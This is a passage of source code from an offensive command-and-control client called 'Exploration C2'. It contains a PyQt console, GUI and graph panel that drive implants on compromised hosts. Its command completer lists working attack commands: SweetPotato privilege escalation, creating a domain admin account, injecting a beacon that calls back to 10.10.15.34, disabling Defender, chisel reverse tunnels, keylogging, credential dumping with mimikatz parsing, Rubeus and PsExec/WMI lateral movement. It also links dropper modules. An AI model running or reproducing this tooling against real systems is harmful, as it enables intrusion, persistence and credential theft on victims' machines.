118 | ('SweetPotato.exe -e EfsRpc -p C:\\Users\\Public\\Documents\\implant.exe', []),
119 | ]),
120 | ]),
121 | (UploadInstruction,[]),
122 | (RunInstruction,[
123 | ('cmd /c', []),
124 | ('cmd /c sc query', []),
125 | ('cmd /c wmic service where caption="Serviio" get name, caption, state, startmode', []),
126 | ('cmd /c where /r c:\\ *.txt', []),
127 | ('cmd /c tasklist /SVC', []),
128 | ('cmd /c taskkill /pid 845 /f', []),
129 | ('cmd /c schtasks /query /fo LIST /v', []),
130 | ('cmd /c net user superadmin123 Password123!* /add', []),
131 | ('cmd /c net localgroup administrators superadmin123 /add', []),
132 | ('cmd /c net user superadmin123 Password123!* /add /domain', []),
133 | ('cmd /c net group "domain admins" superadmin123 /add /domain', []),
134 | ]),
135 | (DownloadInstruction,[]),
136 | (InjectInstruction,[
137 | ('-e BeaconHttp.exe -1 10.10.15.34 8443 https', []),
138 | ('-e implant.exe -1', []),
139 | ]),
140 | (ScriptInstruction,[]),
141 | (PwdInstruction,[]),
142 | (CdInstruction,[]),
143 | (LsInstruction,[]),
144 | (PsInstruction,[]),
145 | (CatInstruction,[]),
146 | (TreeInstruction,[]),
147 | (MakeTokenInstruction,[]),
148 | (Rev2selfInstruction,[]),
149 | (StealTokenInstruction,[]),
150 | (CoffLoaderInstruction,[
151 | ('adcs_enum.x64.o', [('go',[])]),
152 | ('adcs_enum_com.x64.o', [('go ZZ hostname sharename',[])]),
153 | ('adcs_enum_com2.x64.o', [('go',[])]),
154 | ('adv_audit_policies.x64.o', [('go',[])]),
155 | ('arp.x64.o', [('go',[])]),
156 | ('cacls.x64.o', [('go zz hostname servicename',[])]),
157 | ('dir.x64.o', [('go Zs targetdir subdirs',[])]),
158 | ('driversigs.x64.o', [('go Zi name, 0',[])]),
159 | ('enum_filter_driver.x64.o', [('go',[])]),
160 | ('enumlocalsessions.x64.o', [('go zz modname procname',[])]),
161 | ('env.x64.o', [('go',[])]),
162 | ('findLoadedModule.x64.o', [('go',[])]),
163 | ('get-netsession.x64.o', [('go',[])]),
164 | ('get_password_policy.x64.o', [('go Z server',[])]),
165 | ('ipconfig.x64.o', [('go',[])]),
166 | ('ldapsearch.x64.o', [('go zzizz 2 attributes result_limit hostname domain',[])]),
167 | ('listdns.x64.o', [('go',[])]),
168 | ('listmods.x64.o', [('go i pid',[])]),
169 | ('locale.x64.o', [('go',[])]),
170 | ('netgroup.x64.o', [('go sZZ type server group',[])]),
171 | ('netlocalgroup.x64.o', [('go',[])]),
172 | ('netshares.x64.o', [('go Zi name, 1',[])]),
173 | ('netstat.x64.o', [('go',[])]),
174 | ('netuse.x64.o', [('go sZZZZss 1 share user password device persist requireencrypt',[])]),
175 | ('netuser.x64.o', [('go ZZ 2 domain',[])]),
176 | ('netuserenum.x64.o', [('go',[])]),
177 | ('netview.x64.o', [('go Z domain',[])]),
178 | ('nonpagedldapsearch.x64.o', [('go zzizz 2 attributes result_limit hostname domain',[])]),
179 | ('nslookup.x64.o', [('go zzs lookup server type',[])]),
180 | ('probe.x64.o', [('go zi host port',[])]),
181 | ('reg_query.x64.o', [('go zizzi hostname hive path key, 0',[])]),
182 | ('resources.x64.o', [('go',[])]),
183 | ('routeprint.x64.o', [('go',[])]),
184 | ('sc_enum.x64.o', [('go',[])]),
185 | ('schtasksenum.x64.o', [('go ZZ 2 3',[])]),
186 | ('schtasksquery.x64.o', [('go',[])]),
187 | ('sc_qc.x64.o', [('go zz hostname servicename',[])]),
188 | ('sc_qdescription.x64.o', [('go zz hostname servicename',[])]),
189 | ('sc_qfailure.x64.o', [('go',[])]),
190 | ('sc_qtriggerinfo.x64.o', [('go',[])]),
191 | ('sc_query.x64.o', [('go',[])]),
192 | ('tasklist.x64.o', [('go Z system',[])]),
193 | ('uptime.x64.o', [('go',[])]),
194 | ('vssenum.x64.o', [('go',[])]),
195 | ('whoami.x64.o', [('go',[])]),
196 | ('windowlist.x64.o', [('go',[])]),
197 | ('wmi_query.x64.o', [('go ZZZ system namespace query',[])]),
198 | ]),
199 | (MiniDumpInstruction, [
200 | ('dump dump.xor', []),
201 | ('decrypt /tmp/dump.xor', []),
202 | ]),
203 | (DotnetExecInstruction, [
204 | ('load rub Rubeus.exe', []),
205 | ('runExe rub help', []),
206 | ]),
207 | (UnloadModuleInstruction,[
208 | (AssemblyExecInstruction, []),
209 | (CdInstruction, []),
210 | (CoffLoaderInstruction, []),
211 | (DownloadInstruction, []),
212 | (InjectInstruction, []),
213 | (LsInstruction, []),
214 | (PsInstruction, []),
215 | (MakeTokenInstruction, []),
216 | (PwdInstruction, []),
217 | (Rev2selfInstruction, []),
218 | (RunInstruction, []),
219 | (ScriptInstruction, []),
220 | (StealTokenInstruction, []),
221 | (UploadInstruction, []),
222 | (PowershellInstruction, []),
223 | (PsExecInstruction, []),
224 | (KerberosUseTicketInstruction, []),
225 | (ChiselInstruction, []),
226 | (EvasionInstruction, []),
227 | (SpawnAsInstruction, []),
228 | (WmiInstruction, []),
229 | (KeyLoggerInstruction, []),
230 | (MiniDumpInstruction, []),
231 | (DotnetExecInstruction, []),
232 | ]),
233 | (KerberosUseTicketInstruction,[]),
234 | (PowershellInstruction,[
235 | ('-i PowerView.ps1', []),
236 | ('Get-Domain', []),
237 | ('Get-DomainTrust', []),
238 | ('Get-DomainUser', []),
239 | ('Get-DomainComputer -Properties DnsHostName', []),
240 | ('powershell Get-NetSession -ComputerName MS01 | select CName, UserName', []),
241 | ('-i PowerUp.ps1', []),
242 | ('Invoke-AllChecks', []),
243 | ('-i Powermad.ps1', []),
244 | ('-i PowerUpSQL.ps1', []),
245 | ('Set-MpPreference -DisableRealtimeMonitoring $true', []),
246 | ]),
247 | (ChiselInstruction,[
248 | ('status', []),
249 | ('stop', []),
250 | ('chisel.exe client 192.168.57.21:9001 R:socks', []),
251 | ('chisel.exe client 192.168.57.21:9001 R:445:192.168.57.14:445', []),
252 | ]),
253 | (PsExecInstruction,[
254 | ('10.10.10.10 implant.exe', []),
255 | ]),
256 | (WmiInstruction,[
257 | ('10.10.10.10 implant.exe', []),
258 | ]),
259 | (SpawnAsInstruction,[
260 | ('user password implant.exe', []),
261 | ]),
262 | (EvasionInstruction,[
263 | ('CheckHooks', []),
264 | ('Unhook', []),
265 | ]),
266 | (KeyLoggerInstruction,[
267 | ('start', []),
268 | ('stop', []),
269 | ('dump', []),
270 | ]),
271 | (LoadModuleInstruction,[
272 | ('changeDirectory', []),
273 | ('listDirectory', []),
274 | ('listProcesses', []),
275 | ('printWorkingDirectory', []),
276 | (CdInstruction, []),
277 | (LsInstruction, []),
278 | (PsInstruction, []),
279 | (PwdInstruction, []),
280 | (AssemblyExecInstruction, []),
281 | (CoffLoaderInstruction, []),
282 | (DownloadInstruction, []),
283 | (InjectInstruction, []),
284 | (MakeTokenInstruction, []),
285 | (Rev2selfInstruction, []),
286 | (RunInstruction, []),
287 | (ScriptInstruction, []),
288 | (StealTokenInstruction, []),
289 | (UploadInstruction, []),
290 | (PowershellInstruction, []),
291 | (PsExecInstruction, []),
292 | (KerberosUseTicketInstruction, []),
293 | (ChiselInstruction, []),
294 | (EvasionInstruction, []),
295 | (SpawnAsInstruction, []),
296 | (WmiInstruction, []),
297 | (KeyLoggerInstruction, []),
298 | (MiniDumpInstruction, []),
299 | (DotnetExecInstruction, []),
300 | ]),
301 | ]
302 |
303 |
304 | #
305 | # Consoles Tab Implementation
306 | #
307 | class ConsolesTab(QWidget):
308 |
309 | def __init__(self, parent, grpcClient):
310 | super(QWidget, self).__init__(parent)
311 | widget = QWidget(self)
312 | self.layout = QHBoxLayout(widget)
313 |
314 | # Initialize tab screen
315 | self.tabs = QTabWidget()
316 | self.tabs.setTabsClosable(True)
317 | self.tabs.tabCloseRequested.connect(self.closeTab)
318 |
319 | # Add tabs to widget
320 | self.layout.addWidget(self.tabs)
321 | self.setLayout(self.layout)
322 |
323 | self.grpcClient = grpcClient
324 |
325 | tab = QWidget()
326 | self.tabs.addTab(tab, TerminalTabTitle)
327 | tab.layout = QVBoxLayout(self.tabs)
328 | self.terminal = Terminal(self, self.grpcClient)
329 | tab.layout.addWidget(self.terminal)
330 | tab.setLayout(tab.layout)
331 | self.tabs.setCurrentIndex(self.tabs.count()-1)
332 |
333 | tab = QWidget()
334 | self.tabs.addTab(tab, "Script")
335 | tab.layout = QVBoxLayout(self.tabs)
336 | self.script = Script(self, self.grpcClient)
337 | tab.layout.addWidget(self.script)
338 | tab.setLayout(tab.layout)
339 | self.tabs.setCurrentIndex(self.tabs.count()-1)
340 |
341 | tab = QWidget()
342 | self.tabs.addTab(tab, "Assistant")
343 | tab.layout = QVBoxLayout(self.tabs)
344 | self.assistant = Assistant(self, self.grpcClient)
345 | tab.layout.addWidget(self.assistant)
346 | tab.setLayout(tab.layout)
347 | self.tabs.setCurrentIndex(self.tabs.count()-1)
348 |
349 | @pyqtSlot()
350 | def on_click(self):
351 | print("\n")
352 | for currentQTableWidgetItem in self.tableWidget.selectedItems():
353 | print(currentQTableWidgetItem.row(), currentQTableWidgetItem.column(), currentQTableWidgetItem.text())
354 |
355 | def addConsole(self, beaconHash, listenerHash, hostname, username):
356 | tabAlreadyOpen=False
357 | for idx in range(0,self.tabs.count()):
358 | openTabKey = self.tabs.tabText(idx)
359 | if openTabKey==beaconHash[0:8]:
360 | self.tabs.setCurrentIndex(idx)
361 | tabAlreadyOpen=True
362 |
363 | if tabAlreadyOpen==False:
364 | tab = QWidget()
365 | self.tabs.addTab(tab, beaconHash[0:8])
366 | tab.layout = QVBoxLayout(self.tabs)
367 | console = Console(self, self.grpcClient, beaconHash, listenerHash, hostname, username)
368 | console.consoleScriptSignal.connect(self.script.consoleScriptMethod)
369 | console.consoleScriptSignal.connect(self.assistant.consoleAssistantMethod)
370 | tab.layout.addWidget(console)
371 | tab.setLayout(tab.layout)
372 | self.tabs.setCurrentIndex(self.tabs.count()-1)
373 |
374 | def closeTab(self, currentIndex):
375 | currentQWidget = self.tabs.widget(currentIndex)
376 | if currentIndex<3:
377 | return
378 | currentQWidget.deleteLater()
379 | self.tabs.removeTab(currentIndex)
380 |
381 |
382 | class Console(QWidget):
383 |
384 | consoleScriptSignal = pyqtSignal(str, str, str, str, str, str)
385 |
386 | tabPressed = pyqtSignal()
387 | beaconHash=""
388 | hostname=""
389 | username=""
390 | logFileName=""
391 | listenerHash=""
392 |
393 | def __init__(self, parent, grpcClient, beaconHash, listenerHash, hostname, username):
394 | super(QWidget, self).__init__(parent)
395 | self.layout = QVBoxLayout(self)
396 |
397 | self.grpcClient = grpcClient
398 |
399 | self.beaconHash=beaconHash
400 | self.listenerHash=listenerHash
401 | self.hostname=hostname.replace("\\", "_").replace(" ", "_")
402 | self.username=username.replace("\\", "_").replace(" ", "_")
403 | self.logFileName=self.hostname+"_"+self.username+"_"+self.beaconHash+".log"
404 |
405 | self.editorOutput = QPlainTextEdit()
406 | self.editorOutput.setFont(QFont("Courier"));
407 | self.editorOutput.setReadOnly(True)
408 | self.layout.addWidget(self.editorOutput, 8)
409 |
410 | self.commandEditor = CommandEditor()
411 | self.layout.addWidget(self.commandEditor, 2)
412 | self.commandEditor.returnPressed.connect(self.runCommand)
413 |
414 | # Thread to get sessions response
415 | # https://realpython.com/python-pyqt-qthread/
416 | self.thread = QThread()
417 | self.getSessionResponse = GetSessionResponse()
418 | self.getSessionResponse.moveToThread(self.thread)
419 | self.thread.started.connect(self.getSessionResponse.run)
420 | self.getSessionResponse.checkin.connect(self.displayResponse)
421 | self.thread.start()
422 |
423 | def __del__(self):
424 | self.getSessionResponse.quit()
425 | self.thread.quit()
426 | self.thread.wait()
427 |
428 | def nextCompletion(self):
429 | index = self._compl.currentIndex()
430 | self._compl.popup().setCurrentIndex(index)
431 | start = self._compl.currentRow()
432 | if not self._compl.setCurrentRow(start + 1):
433 | self._compl.setCurrentRow(0)
434 |
435 | def event(self, event):
436 | if event.type() == QEvent.KeyPress and event.key() == Qt.Key_Tab:
437 | self.tabPressed.emit()
438 | return True
439 | return super().event(event)
440 |
441 | def printInTerminal(self, cmdSent, cmdReived, result):
442 | now = datetime.now()
443 | sendFormater = ''+'['+now.strftime("%Y:%m:%d %H:%M:%S").rstrip()+'] '+' [>>] '+'{} '+'
'
444 | receiveFormater = ''+'['+now.strftime("%Y:%m:%d %H:%M:%S").rstrip()+'] '+' [<<] '+'{} '+'
'
445 |
446 | if cmdSent:
447 | self.editorOutput.appendHtml(sendFormater.format(cmdSent))
448 | self.editorOutput.insertPlainText("\n")
449 | elif cmdReived:
450 | self.editorOutput.appendHtml(receiveFormater.format(cmdReived))
451 | self.editorOutput.insertPlainText("\n")
452 | if result:
453 | self.editorOutput.insertPlainText(result)
454 | self.editorOutput.insertPlainText("\n")
455 |
456 | def runCommand(self):
457 | commandLine = self.commandEditor.displayText()
458 | self.commandEditor.clearLine()
459 | self.setCursorEditorAtEnd()
460 |
461 | if commandLine == "":
462 | self.printInTerminal("", "", "")
463 |
464 | else:
465 | cmdHistoryFile = open(CmdHistoryFileName, 'a')
466 | cmdHistoryFile.write(commandLine)
467 | cmdHistoryFile.write('\n')
468 | cmdHistoryFile.close()
469 |
470 | logFile = open(logsDir+"/"+self.logFileName, 'a')
471 | logFile.write('[+] send: \"' + commandLine + '\"')
472 | logFile.write('\n')
473 | logFile.close()
474 |
475 | self.commandEditor.setCmdHistory()
476 | instructions = commandLine.split()
477 | if instructions[0]==HelpInstruction:
478 | command = TeamServerApi_pb2.Command(beaconHash=self.beaconHash, listenerHash=self.listenerHash, cmd=commandLine)
479 | response = self.grpcClient.getHelp(command)
480 | self.printInTerminal(response.cmd, "", "")
481 | self.printInTerminal("", response.cmd, response.response.decode(encoding="latin1", errors="ignore"))
482 |
483 | else:
484 | self.printInTerminal(commandLine, "", "")
485 | command = TeamServerApi_pb2.Command(beaconHash=self.beaconHash, listenerHash=self.listenerHash, cmd=commandLine)
486 | result = self.grpcClient.sendCmdToSession(command)
487 | context = "Host " + self.hostname + " - Username " + self.username
488 | self.consoleScriptSignal.emit("send", self.beaconHash, self.listenerHash, context, commandLine, "")
489 | if result.message:
490 | self.printInTerminal("", commandLine, result.message.decode(encoding="latin1", errors="ignore"))
491 |
492 | self.setCursorEditorAtEnd()
493 |
494 | def displayResponse(self):
495 | session = TeamServerApi_pb2.Session(beaconHash=self.beaconHash)
496 | responses = self.grpcClient.getResponseFromSession(session)
497 | for response in responses:
498 | context = "Host " + self.hostname + " - Username " + self.username
499 | self.consoleScriptSignal.emit("receive", "", "", context, response.cmd, response.response.decode(encoding="latin1", errors="ignore"))
500 | self.setCursorEditorAtEnd()
501 | # check the response for mimikatz and not the cmd line ???
502 | if "-e mimikatz.exe" in response.cmd:
503 | credentials.handleMimikatzCredentials(response.response.decode(encoding="latin1", errors="ignore"), self.grpcClient, TeamServerApi_pb2)
504 | self.printInTerminal("", response.instruction + " " + response.cmd, response.response.decode(encoding="latin1", errors="ignore"))
505 | self.setCursorEditorAtEnd()
506 |
507 | logFile = open(logsDir+"/"+self.logFileName, 'a')
508 | logFile.write('[+] result: \"' + response.instruction + " " + response.cmd + '\"')
509 | logFile.write('\n' + response.response.decode(encoding="latin1", errors="ignore") + '\n')
510 | logFile.write('\n')
511 | logFile.close()
512 |
513 | def setCursorEditorAtEnd(self):
514 | cursor = self.editorOutput.textCursor()
515 | cursor.movePosition(QTextCursor.End,)
516 | self.editorOutput.setTextCursor(cursor)
517 |
518 |
519 | class GetSessionResponse(QObject):
520 | checkin = pyqtSignal()
521 |
522 | exit=False
523 |
524 | def run(self):
525 | while self.exit==False:
526 | self.checkin.emit()
527 | time.sleep(1)
528 |
529 | def quit(self):
530 | self.exit=True
531 |
532 |
533 | class CommandEditor(QLineEdit):
534 | tabPressed = pyqtSignal()
535 | cmdHistory = []
536 | idx = 0
537 |
538 | def __init__(self, parent=None):
539 | super().__init__(parent)
540 |
541 | if(os.path.isfile(CmdHistoryFileName)):
542 | cmdHistoryFile = open(CmdHistoryFileName)
543 | self.cmdHistory = cmdHistoryFile.readlines()
544 | self.idx=len(self.cmdHistory)-1
545 | cmdHistoryFile.close()
546 |
547 | QShortcut(Qt.Key_Up, self, self.historyUp)
548 | QShortcut(Qt.Key_Down, self, self.historyDown)
549 |
550 | self.codeCompleter = CodeCompleter(completerData, self)
551 | # needed to clear the completer after activation
552 | self.codeCompleter.activated.connect(self.onActivated)
553 | self.setCompleter(self.codeCompleter)
554 | self.tabPressed.connect(self.nextCompletion)
555 |
556 | def nextCompletion(self):
557 | index = self.codeCompleter.currentIndex()
558 | self.codeCompleter.popup().setCurrentIndex(index)
559 | start = self.codeCompleter.currentRow()
560 | if not self.codeCompleter.setCurrentRow(start + 1):
561 | self.codeCompleter.setCurrentRow(0)
562 |
563 | def event(self, event):
564 | if event.type() == QEvent.KeyPress and event.key() == Qt.Key_Tab:
565 | self.tabPressed.emit()
566 | return True
567 | return super().event(event)
568 |
569 | def historyUp(self):
570 | if(self.idx=0):
571 | cmd = self.cmdHistory[self.idx%len(self.cmdHistory)]
572 | self.idx=max(self.idx-1,0)
573 | self.setText(cmd.strip())
574 |
575 | def historyDown(self):
576 | if(self.idx=0):
577 | self.idx=min(self.idx+1,len(self.cmdHistory)-1)
578 | cmd = self.cmdHistory[self.idx%len(self.cmdHistory)]
579 | self.setText(cmd.strip())
580 |
581 | def setCmdHistory(self):
582 | cmdHistoryFile = open(CmdHistoryFileName)
583 | self.cmdHistory = cmdHistoryFile.readlines()
584 | self.idx=len(self.cmdHistory)-1
585 | cmdHistoryFile.close()
586 |
587 | def clearLine(self):
588 | self.clear()
589 |
590 | def onActivated(self):
591 | QTimer.singleShot(0, self.clear)
592 |
593 |
594 | class CodeCompleter(QCompleter):
595 | ConcatenationRole = Qt.UserRole + 1
596 |
597 | def __init__(self, data, parent=None):
598 | super().__init__(parent)
599 | self.createModel(data)
600 |
601 | def splitPath(self, path):
602 | return path.split(' ')
603 |
604 | def pathFromIndex(self, ix):
605 | return ix.data(CodeCompleter.ConcatenationRole)
606 |
607 | def createModel(self, data):
608 | def addItems(parent, elements, t=""):
609 | for text, children in elements:
610 | item = QStandardItem(text)
611 | data = t + " " + text if t else text
612 | item.setData(data, CodeCompleter.ConcatenationRole)
613 | parent.appendRow(item)
614 | if children:
615 | addItems(item, children, data)
616 | model = QStandardItemModel(self)
617 | addItems(model, data)
618 | self.setModel(model)
619 |
--------------------------------------------------------------------------------
/C2Client/C2Client/DropperModules.conf:
--------------------------------------------------------------------------------
1 | https://github.com/maxDcb/PeDropper
2 | https://github.com/maxDcb/PowershellWebDelivery
3 | https://github.com/maxDcb/PeInjectorSyscall
4 | https://github.com/almounah/GoDroplets.git
5 | https://github.com/maxDcb/ElfDropper.git
6 | https://github.com/maxDcb/EarlyCascade.git
--------------------------------------------------------------------------------
/C2Client/C2Client/DropperModules/.gitignore:
--------------------------------------------------------------------------------
1 | *
2 | !.gitignore
--------------------------------------------------------------------------------
/C2Client/C2Client/GUI.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import os
3 | import signal
4 | import argparse
5 | import logging
6 |
7 | from PyQt5.QtWidgets import *
8 | from PyQt5.QtGui import *
9 | from PyQt5.QtCore import *
10 |
11 | sys.path.append(os.path.dirname(os.path.abspath(__file__)))
12 |
13 | from grpcClient import *
14 | from ListenerPanel import *
15 | from SessionPanel import *
16 | from ConsolePanel import *
17 | from GraphPanel import *
18 |
19 | import qdarktheme
20 |
21 | logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')
22 |
23 | signal.signal(signal.SIGINT, signal.SIG_DFL)
24 |
25 |
26 | class App(QMainWindow):
27 |
28 | def __init__(self, ip, port, devMode):
29 | super().__init__()
30 |
31 | self.ip = ip
32 | self.port = port
33 | self.devMode = devMode
34 |
35 | try:
36 | self.grpcClient = GrpcClient(self.ip, self.port, self.devMode)
37 | except ValueError as e:
38 | raise e
39 |
40 | self.createPayloadWindow = None
41 |
42 | self.title = 'Exploration C2'
43 | self.left = 0
44 | self.top = 0
45 | self.width = 1000
46 | self.height = 1000
47 | self.setWindowTitle(self.title)
48 | self.setGeometry(self.left, self.top, self.width, self.height)
49 |
50 | central_widget = QWidget()
51 | self.setCentralWidget(central_widget)
52 |
53 | config_button = QPushButton("Payload")
54 | config_button.clicked.connect(self.payloadForm)
55 |
56 | self.mainLayout = QGridLayout(central_widget)
57 | self.mainLayout.setContentsMargins(0, 0, 0, 0)
58 | self.mainLayout.setRowStretch(1, 3)
59 | self.mainLayout.setRowStretch(2, 7)
60 |
61 | self.topLayout()
62 | self.botLayout()
63 |
64 | self.sessionsWidget.sessionScriptSignal.connect(self.consoleWidget.script.sessionScriptMethod)
65 | self.sessionsWidget.sessionScriptSignal.connect(self.consoleWidget.assistant.sessionAssistantMethod)
66 | self.listenersWidget.listenerScriptSignal.connect(self.consoleWidget.script.listenerScriptMethod)
67 |
68 | self.sessionsWidget.interactWithSession.connect(self.consoleWidget.addConsole)
69 |
70 | self.consoleWidget.script.mainScriptMethod("start", "", "", "")
71 |
72 | self.show()
73 |
74 |
75 | def topLayout(self):
76 |
77 | self.topWidget = QTabWidget()
78 |
79 | self.m_main = QWidget()
80 |
81 | self.m_main.layout = QHBoxLayout(self.m_main)
82 | self.m_main.layout.setContentsMargins(0, 0, 0, 0)
83 |
84 | self.sessionsWidget = Sessions(self, self.grpcClient)
85 | self.listenersWidget = Listeners(self, self.grpcClient)
86 |
87 | # Adjust the stretch factors: sessions gets more space, listeners gets less
88 | self.m_main.layout.addWidget(self.sessionsWidget, 2) # 66% width
89 | self.m_main.layout.addWidget(self.listenersWidget, 1) # 33% width
90 |
91 | self.topWidget.addTab(self.m_main, "Main")
92 |
93 | self.graphWidget = Graph(self, self.grpcClient)
94 | self.topWidget.addTab(self.graphWidget, "Graph")
95 |
96 | self.mainLayout.addWidget(self.topWidget, 1, 1, 1, 1)
97 |
98 |
99 | def botLayout(self):
100 |
101 | self.consoleWidget = ConsolesTab(self, self.grpcClient)
102 | self.mainLayout.addWidget(self.consoleWidget, 2, 0, 1, 2)
103 |
104 |
105 | def __del__(self):
106 | if hasattr(self, 'consoleWidget'):
107 | self.consoleWidget.script.mainScriptMethod("stop", "", "", "")
108 |
109 |
110 | def payloadForm(self):
111 | if self.createPayloadWindow is None:
112 | self.createPayloadWindow = CreatePayload()
113 | self.createPayloadWindow.show()
114 |
115 |
116 | def main():
117 | parser = argparse.ArgumentParser(description='TeamServer IP and port.')
118 | parser.add_argument('--ip', default='127.0.0.1', help='IP address (default: 127.0.0.1)')
119 | parser.add_argument('--port', type=int, default=50051, help='Port number (default: 50051)')
120 | parser.add_argument('--dev', action='store_true', help='Enable developer mode to disable the SSL hostname check.')
121 |
122 | args = parser.parse_args()
123 |
124 | app = QApplication(sys.argv)
125 | app.setStyleSheet(qdarktheme.load_stylesheet())
126 |
127 | try:
128 | ex = App(args.ip, args.port, args.dev)
129 | except ValueError as e:
130 | sys.exit(1)
131 | sys.exit(app.exec_())
132 |
133 |
134 | if __name__ == "__main__":
135 | main()
--------------------------------------------------------------------------------
/C2Client/C2Client/GraphPanel.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import os
3 | import time
4 | from threading import Thread, Lock
5 | from PyQt5.QtWidgets import *
6 | from PyQt5.QtGui import *
7 | from PyQt5.QtCore import *
8 | from PyQt5.QtGui import QPixmap, QTransform
9 |
10 | from grpcClient import *
11 |
12 |
13 | #
14 | # Constant
15 | #
16 | BeaconNodeItemType = "Beacon"
17 | ListenerNodeItemType = "Listener"
18 |
19 | try:
20 | import pkg_resources
21 | PrimaryListenerImage = pkg_resources.resource_filename(
22 | 'C2Client',
23 | 'images/firewall.svg'
24 | )
25 | WindowsSessionImage = pkg_resources.resource_filename(
26 | 'C2Client',
27 | 'images/pc.svg'
28 | )
29 | WindowsHighPrivSessionImage = pkg_resources.resource_filename(
30 | 'C2Client',
31 | 'images/windowshighpriv.svg'
32 | )
33 | LinuxSessionImage = pkg_resources.resource_filename(
34 | 'C2Client',
35 | 'images/linux.svg'
36 | )
37 | LinuxRootSessionImage = pkg_resources.resource_filename(
38 | 'C2Client',
39 | 'images/linuxhighpriv.svg'
40 | )
41 | except ImportError:
42 | PrimaryListenerImage = os.path.join(os.path.dirname(__file__), 'images/firewall.svg')
43 | WindowsSessionImage = os.path.join(os.path.dirname(__file__), 'images/pc.svg')
44 | WindowsHighPrivSessionImage = os.path.join(os.path.dirname(__file__), 'images/windowshighpriv.svg')
45 | LinuxSessionImage = os.path.join(os.path.dirname(__file__), 'images/linux.svg')
46 | LinuxRootSessionImage = os.path.join(os.path.dirname(__file__), 'images/linuxhighpriv.svg')
47 |
48 |
49 | #
50 | # Graph Tab Implementation
51 | #
52 | # needed to send the message of mouseMoveEvent because QGraphicsPixmapItem doesn't herit from QObject
53 | class Signaller(QObject):
54 | signal = pyqtSignal()
55 |
56 | def trigger(self):
57 | self.signal.emit()
58 |
59 |
60 | class NodeItem(QGraphicsPixmapItem):
61 | # Signal to notify position changes
62 | signaller = Signaller()
63 |
64 | def __init__(self, type, hash, os="", privilege="", hostname="", parent=None):
65 | if type == ListenerNodeItemType:
66 | self.type = ListenerNodeItemType
67 | pixmap = self.addImageNode(PrimaryListenerImage, "")
68 | self.beaconHash = ""
69 | self.connectedListenerHash = ""
70 | self.listenerHash = []
71 | self.listenerHash.append(hash)
72 | elif type == BeaconNodeItemType:
73 | self.type = BeaconNodeItemType
74 | # print("NodeItem beaconHash", hash, "os", os, "privilege", privilege)
75 | if "linux" in os.lower():
76 | if privilege == "root":
77 | pixmap = self.addImageNode(LinuxRootSessionImage, hostname)
78 | else:
79 | pixmap = self.addImageNode(LinuxSessionImage, hostname)
80 | elif "windows" in os.lower():
81 | if privilege == "HIGH":
82 | pixmap = self.addImageNode(WindowsHighPrivSessionImage, hostname)
83 | else:
84 | pixmap = self.addImageNode(WindowsSessionImage, hostname)
85 | else:
86 | pixmap = QPixmap(LinuxSessionImage).scaled(64, 64, Qt.KeepAspectRatio, Qt.SmoothTransformation)
87 | self.beaconHash=hash
88 | self.hostname = hostname
89 | self.connectedListenerHash = ""
90 | self.listenerHash=[]
91 |
92 | super().__init__(pixmap)
93 |
94 | def print(self):
95 | print("NodeItem", self.type, "beaconHash", self.beaconHash, "listenerHash", self.listenerHash, "connectedListenerHash", self.connectedListenerHash)
96 |
97 | def isResponsableForListener(self, hash):
98 | if hash in self.listenerHash:
99 | return True
100 | else:
101 | return False
102 |
103 | def mouseMoveEvent(self, event):
104 | super().mouseMoveEvent(event)
105 | self.signaller.trigger()
106 |
107 | def mousePressEvent(self, event):
108 | super().mousePressEvent(event)
109 | self.setCursor(Qt.ClosedHandCursor)
110 |
111 | def mouseReleaseEvent(self, event):
112 | super().mouseReleaseEvent(event)
113 | self.setCursor(Qt.ArrowCursor)
114 |
115 | def addImageNode(self, image_path, legend_text, font_size=9, padding=5, text_color=Qt.white):
116 | # Load and scale the image
117 | pixmap = QPixmap(image_path).scaled(64, 64, Qt.KeepAspectRatio, Qt.SmoothTransformation)
118 |
119 | # Create a new QPixmap larger than the original for the image and text
120 | legend_height = font_size + padding * 2
121 | legend_width = len(legend_text) * font_size + padding * 2
122 | combined_pixmap = QPixmap(max(legend_width, pixmap.width()), pixmap.height() + legend_height)
123 | combined_pixmap.fill(Qt.transparent) # Transparent background
124 |
125 | # Paint the image and the legend onto the combined pixmap
126 | painter = QPainter(combined_pixmap)
127 | image_x = (combined_pixmap.width() - pixmap.width()) // 2
128 | painter.drawPixmap(image_x, 0, pixmap) # Draw the image
129 |
130 | pen = QPen()
131 | pen.setColor(text_color) # Set the desired text color
132 | painter.setPen(pen)
133 | # Set font for the legend
134 | font = QFont()
135 | font.setPointSize(font_size)
136 | painter.setFont(font)
137 |
138 | # Draw the legend text centered below the image
139 | text_rect = painter.boundingRect(
140 | 0, pixmap.height(), combined_pixmap.width(), legend_height, Qt.AlignCenter, legend_text
141 | )
142 | painter.drawText(text_rect, Qt.AlignCenter, legend_text)
143 |
144 | painter.end()
145 | return combined_pixmap
146 |
147 |
148 | class Connector(QGraphicsLineItem):
149 |
150 | def __init__(self, listener, beacon, pen=None):
151 | super().__init__()
152 | self.listener = listener
153 | self.beacon = beacon
154 |
155 | self.pen = pen or QPen(QColor("white"), 3)
156 | self.setPen(self.pen)
157 | self.update_line()
158 |
159 | def print(self):
160 | print("Connector", "beaconHash", self.beacon.beaconHash, "connectedListenerHash", self.beacon.connectedListenerHash, "listenerHash", self.listener.listenerHash)
161 |
162 | def update_line(self):
163 | # print("listener", self.listener.pos())
164 | # print("beacon", self.beacon.pos())
165 | center1 = self.listener.pos() + self.listener.boundingRect().center()
166 | center2 = self.beacon.pos() + self.beacon.boundingRect().center()
167 | self.setLine(QLineF(center1, center2))
168 |
169 |
170 | class Graph(QWidget):
171 | listNodeItem = []
172 | listNodeItem = []
173 | listConnector = []
174 |
175 | def __init__(self, parent, grpcClient):
176 | super(QWidget, self).__init__(parent)
177 |
178 | width = self.frameGeometry().width()
179 | height = self.frameGeometry().height()
180 |
181 | self.grpcClient = grpcClient
182 |
183 | self.scene = QGraphicsScene()
184 |
185 | self.view = QGraphicsView(self.scene)
186 | self.view.setRenderHint(QPainter.Antialiasing)
187 |
188 | self.vbox = QVBoxLayout()
189 | self.vbox.setContentsMargins(0, 0, 0, 0)
190 | self.vbox.addWidget(self.view)
191 |
192 | self.setLayout(self.vbox)
193 |
194 | self.thread = QThread()
195 | self.getGraphInfoWorker = GetGraphInfoWorker()
196 | self.getGraphInfoWorker.moveToThread(self.thread)
197 | self.thread.started.connect(self.getGraphInfoWorker.run)
198 | self.getGraphInfoWorker.checkin.connect(self.updateGraph)
